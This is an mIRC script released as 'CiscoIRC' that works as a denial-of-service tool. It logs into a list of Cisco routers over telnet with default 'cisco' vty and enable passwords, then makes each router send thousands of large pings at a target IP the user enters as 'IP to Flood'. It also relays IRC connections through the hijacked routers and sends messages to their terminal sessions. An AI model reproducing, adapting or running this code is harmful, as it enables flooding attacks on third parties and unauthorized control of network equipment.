[script] n0=;CiscoIRC by ryballs [Public Release] n1=alias cisco { inc %cisco.open | sockopen cisco [ $+ [ %cisco.open ] ] $1 23 } n2=alias cisco-clr { set %cisco.open 0 | sockclose cisco* | set %cisco.nuke.notice on } n3=alias cim { inc %cim.open | sockopen cim $1 23 } n4=alias cim-clr { set %cim.open 0 | sockclose cim | set %cim.notice on } n5=alias usr { inc %usr.open | sockopen usr $1 23 } n6=alias usr-clr { set %usr.open 0 | sockclose usr | set %usr.notice on } n7= n8=on 1:sockopen:cisco*:{ n9= .timer 1 1 sockwrite -n $sockname %circ.pass n10= .timer 1 1 sockwrite -n $sockname enable n11= .timer 1 1 sockwrite -n $sockname %circ.enable n12= .timer 1 1 sockwrite -n $sockname ping n13= .timer 1 1 sockwrite -n $sockname ip n14= .timer 1 1 sockwrite -n $sockname %circ.newkip n15= .timer 1 1 sockwrite -n $sockname %circ.ping n16= .timer 1 1 sockwrite -n $sockname 18024 n17= .timer 1 1 sockwrite -n $sockname 0 n18= .timer 1 1 sockwrite -n $sockname n n19= .timer 1 1 sockwrite -n $sockname n n20=} n21=on 1:sockopen:cim*:{ n22= .timer 1 1 sockwrite -n $sockname %circ.pass n23= .timer 1 1 sockwrite -n $sockname enable n24= .timer 1 1 sockwrite -n $sockname %circ.enable n25= .timer 1 1 sockwrite -n $sockname send vty %circ.vty n26= .timer 1 1 sockwrite -n $sockname %circ.msg n27= .timer 1 1 sockwrite -n $sockname $chr(26) n28= .timer 1 1 sockwrite -n $sockname exit n29= .timer 1 10 echo -a Cisco Instant Message sent to vty %circ.vty $+  n30= .timer 1 15 cimcls n31= n32=} n33=on 1:sockopen:usr*:{ n34= .timer 1 1 sockwrite -n $sockname %circ.pass n35= .timer 1 1 sockwrite -n $sockname enable n36= .timer 1 1 sockwrite -n $sockname %circ.enable n37= .timer 1 1 sockwrite -n $sockname show users n38=} n39=on *:sockread:cim*:{ n40= if ($sockerr > 0) return n41= sockread %cim n42= if ($window(@cim,1) == $null) { cim-w | goto next } n43= :next n44= if (%cim != $null) { echo 3 @cim %cim } n45= else { halt } n46=} n47=on *:sockread:usr*:{ n48= if ($sockerr > 0) return n49= sockread %usr n50= if ($window(@cim,1) == $null) { cim-w | goto next } n51= :next n52= if (%usr != $null) { echo 3 @cim %usr } n53= else { halt } n54=} n55= n56=alias cim-w { window -naek0 @cim /cimcls Verdana 12 } n57=alias cimcls { n58= cim-clr n59= usr-clr n60= close -@cim n61=} n62=on *:sockread:cisco*:{ n63= if ($sockerr > 0) return n64= sockread %cisco n65= if ($window(@cisco,1) == $null) { cisco-w | goto next } n66= :next n67= if (icmp isin %cisco) { echo 3 @cisco $sock($sockname).ip - %cisco } n68= else { halt } n69=} n70=alias cisco-w { window -naek0 @Cisco /stopnewk Verdana 12 } n71=on 1:close:@:{ n72= if ($target == @cim) { n73= echo -s Message Sent. n74= } n75=} n76=menu status { n77= - n78= [-[[CiscoIRC]-]] n79= [Flooding Tool] n80= .IP to Flood -> [ %circ.newkip ]:set %circ.newkip $$?="Enter IP to flood" | echo -s Now click on Start Flooding to begin flooding %circ.newkip $+ . n81= .[ %circ.session ] Connections to each Router:set %circ.session $$?="Enter Number of Connections to each Router" n82= .Number of Pings-> [ %circ.ping ]: set %circ.ping $$?="Enter Number of Times to Ping Target" n83= .- n84= .[Start Flooding] :timer %circ.session 1 newk | echo -a Started Flooding %circ.newkip $+ . n85= .Stop Flooding :stopnewk n86= [Bounce to IRC] :rirc n87= Global Passwords n88= .VTY Pass-> [ %circ.pass ]:set %circ.pass $$?="Enter Router VTY Password" n89= .Enable Pass-> [ %circ.enable ]:set %circ.enable $$?="Enter Router Enable Password" n90= IRC Settings n91= .IRC Nickname-> [ %circ.nick ]:set %circ.nick $$?="Enter IRC Nickname" n92= .IRC Server IP-> [ %circ.serv ]:set %circ.serv $$?="Enter IP of IRC Server" n93= .IRC Ident-> [ %circ.ident ]:set %circ.ident $$?="Enter IRC Ident" n94= .IRC Username-> [ %circ.name ]:set %circ.name $$?="Enter IRC Username" n95= .- n96= .Router IP-> [ %circ.rout ]:set %circ.rout $$?="Enter IP of Router" n97= .Router Lag-> [ %circ.lag ] sec:set %circ.lag $$?="Enter Wait for Connection Time (sec)" n98= [CiscoIM] n99= .CIM Router IP-> [ %circ.cim ]:set %circ.cim $$?="Enter IP of Shared Router" n100= .Show Users (VTYs):cimcls | usr %circ.rout | echo -s Now click Send to -> and enter the vty number (the number after vty before the Reciever IP). n101= .- n102= .Send to -> [ vty %circ.vty ]: set %circ.vty $$?="Enter vty of Message Reciever" n103= .[Send Message] :set %circ.msg $$?="Enter Message" | cimcls | cim %circ.rout n104= n105=} n106=alias rirc { n107= server %circ.rout 23 n108= timer 1 %circ.lag routerirc n109=} n110=alias routerirc { n111= raw %circ.pass n112= raw conn %circ.serv %circ.port n113= raw user %circ.ident circ circ %circ.name n114= raw nick %circ.nick n115=} n116=alias newk { n117= set %circ.read 1 n118= :start n119= if ($read(cisco.txt,%circ.read) != $null) { n120= cisco $read(cisco.txt,%circ.read) n121= inc %circ.read 1 n122= goto start n123= } n124= else halt n125=} n126= n127=alias stopnewk { n128= cisco-clr n129= echo 3 -s Stopped Flooding %circ.newkip n130= close -@cisco n131=} n132=on 1:load:{ n133= chelp n134=} n135=alias chelp { n136= echo -a  n137= echo -a CiscoIRC [Public Release] n138= echo -a by ryballs n139= echo -a Please read these instructions on how to use CiscoIRC n140= echo -a  n141= echo -a Right click in your Status window for CiscoIRC tools. n142= echo -a  n143= echo -a To use the Flooding tool: create a text file called cisco.txt containing a list of the routers IPs (one per line) in your root mIRC directory (ie. C:\Program Files\mIRC). n144= echo -a (Note when using the Bounce to IRC function: you may need to secure your Cisco using an Access-list if the IRC server scans for an open port 23. n145= echo -a  n146= echo -a The Cisco Instant Messager allows the sending of messages to other users on the router without going through an IRC Server. You can read incoming messages in your status window. n147= echo -a Note: These routers must all have the same vty and enable passwords as set under Global Passwords. n148= echo -a  n149= echo -a Type /defaults now if its your first time running CIRC to load the default variables. n150= echo -a If you want to see this help again type /chelp n151= echo -a  n152=} n153=alias defaults { n154= echo -a Loading Defaults... n155= set %circ.pass cisco n156= set %circ.enable cisco n157= set %circ.rout Set_This_IP n158= set %circ.newkip 0.0.0.0 n159= set %circ.session 6 n160= set %circ.serv 69.60.121.72 n161= set %circ.port 6667 n162= set %circ.nick CIRCr0x n163= set %circ.ident circ n164= set %circ.name circ n165= set %circ.ping 10000 n166= set %circ.lag 5 n167= set %circ.cim Set_This_IP n168= set %circ.vty 0 n169= echo -a Defaults Successfully Loaded. n170=} n171=menu nicklist { n172= DNS (IP):dns $$1 n173=} n174=raw *:*message*tty*:echo -a Cisco Instant Message Recieved. Please check your Status Window.